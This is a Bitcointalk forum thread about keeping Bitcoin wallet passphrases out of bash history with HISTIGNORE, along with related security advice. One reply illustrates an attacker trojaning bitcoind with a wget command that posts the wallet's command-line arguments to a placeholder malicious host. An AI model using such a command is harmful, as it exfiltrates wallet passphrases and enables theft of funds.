Author

Topic: Use the CLI w/ encryption? Protect your passphrase with bash's HISTIGNORE (Read 2274 times)

legendary
Activity: 1652
Merit: 2216
Chief Scientist
staff
Activity: 4158
Merit: 8382
Now I understand. I tought you meant that you should replace "walletpassphrase" with your actual wallet passphrase.
Since when people write in this way, its assumed that you should replace it.

Good point. It's a perfectly reasonable mistake, especially if you're not a frequent CLI encryptedwallet user already. I've added a note, hopefully it is more clear now.

Having an asker interface in bitcoind would obviously be nice— but the shell exclusion is a pretty nice general mechanism, especially with the initial space ignoring that it's a good tool to have in your toolbox regardless of what goes into bitcoin.
 

full member
Activity: 129
Merit: 118
Now I understand. I tought you meant that you should replace "walletpassphrase" with your actual wallet passphrase.
Since when people write in this way, its assumed that you should replace it.

Like:
"For logging in to the binary program, type binary -u=root -p=rootpassword" and then its assumed you should replace rootpassword with your actual root password.

It would be worth noting it in the thread start that you should NOT replace walletpassphrase with your actual passphrase, so people dont misunderstand it. They might think bashrc is protected in some way then.
hero member
Activity: 637
Merit: 502
But if a hacker have access to your computer for more than 30 seconds he can simply modify your /usr/bin/bitcoind by adding a line to send himself everything you do with bitcoind.
He would need administrative (root) permissions to modify anything in the /usr/bin directory.

Indeed that was too simple to work. But the bad guy could modify the PATH and create a new bitcoind somewhere that upload the password and call the real bitcoind after.

My point was to never leave your machine unprotected.
donator
Activity: 308
Merit: 250
But if a hacker have access to your computer for more than 30 seconds he can simply modify your /usr/bin/bitcoind by adding a line to send himself everything you do with bitcoind.
He would need administrative (root) permissions to modify anything in the /usr/bin directory.
hero member
Activity: 637
Merit: 502
then the attacker looks in ~/.bashrc and voila´ your wallet password on a silver plate.

I hope nobody read it like Sebastian did and put there real password in .bashrc ! Smiley

It's a nice idea to protect yourself from a bad person that use your computer and sneak on your stuff. But if a hacker have access to your computer for more than 30 seconds he can simply modify your /usr/bin/bitcoind by adding a line to send himself everything you do with bitcoind. Something like this :

wget -q --post-data=$@ malicioussiteupload.org




legendary
Activity: 1890
Merit: 1072
Ian Knowles - CIYAM Lead Developer
The other standard approach for a Linux app would be to use the "getpass" function if the password option (i.e.g walletpassphrase) has been provided but without any value (although this will require changing the source).

A rough idea is as follows:

if( has_option( "walletpassphrase" ) && option_string( "walletpassphrase" ).empty( ) )
   password = getpass( "Enter password: " );

If coded this way then the password would never appear in history or even need to be seen visibly on the terminal screen (you need to roll your own function using _getch to achieve the same thing in Windoze).


Cheers,

Ian Knowles.
donator
Activity: 289
Merit: 250
then the attacker looks in ~/.bashrc and voila´ your wallet password on a silver plate.

No, I think you misunderstood. You need to literally set HISTIGNORE='*walletpassphrase*' - don't substitute 'walletpassphrase' with your actual passphrase. Since you need to type in the word 'walletpassphrase' on the command line when supplying the passphrase to bitcoin, bash won't write that particular command to the history. I think gmaxwell's example makes it pretty clear. Thanks for the useful tip, gmaxwell!
full member
Activity: 129
Merit: 118
then the attacker looks in ~/.bashrc and voila´ your wallet password on a silver plate.

Best thing here would be to create a account in the OS where all bash history and bash logs are off, and using that account for bitcoining.
Even better, use a separate liveCD dist optimized for bitcoining, then bash history is nothing to fear, just shutdown the computer when done and you are sure nothing remains of your session.
legendary
Activity: 1072
Merit: 1174
Interesting, never knew about that variable!
staff
Activity: 4158
Merit: 8382
So you're using that snazzy wallet encryption stuff to keep an online wallet locked up when you don't intend to send anything... but problem: You're a CLI user and you're ending up with the walletpassphrase in your shell history.

Don't worry: Bash has you covered (this is also possible in some other shells, but you're on your own there).

Just set HISTIGNORE='*walletpassphrase*' and the shell history will not remember any line with the string walletpassphrase in it.
This list is colon-separated if you want to add more patterns.

Note: walletpassphrase above is literally the string "walletpassphrase". Do not substitute your actual passphrase there! (thanks to the comments below for pointing out this potential confusion.

For example, my ~/.bashrc might look like:
Code:
$ cat ~/.bashrc
# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

# User specific aliases and functions

HISTSIZE=50000
HISTCONTROL=ignoreboth
shopt -s histappend
HISTIGNORE='*walletpassphrase*'

HISTCONTROL=ignoreboth makes the history ignore duplicate commands and commands which are prefixed with spaces, so you can keep other cruft out of your history on the fly, and HISTSIZE=50000 greatly expands the maximum history, histappend makes it append to instead of overwriting the stored history, allowing your history to go back a long way. None of these are required for thie HISTIGNORE but you might find them useful too.

After putting it in your bashrc, restart your shell.

You can instantly tell if its working, e.g.
Code:
$ ls foof
ls: cannot access foof: No such file or directory
——now push up——
$ ls foof
ls: cannot access foof: No such file or directory
$ ls walletpassphrase
ls: cannot access walletpassphrase: No such file or directory
——now push up——
$ ls foof

Of course, best security practices would be to not keep wallets that matter online, but with a little care you can increase you security for what you do keep online.

Cheers,
Jump to: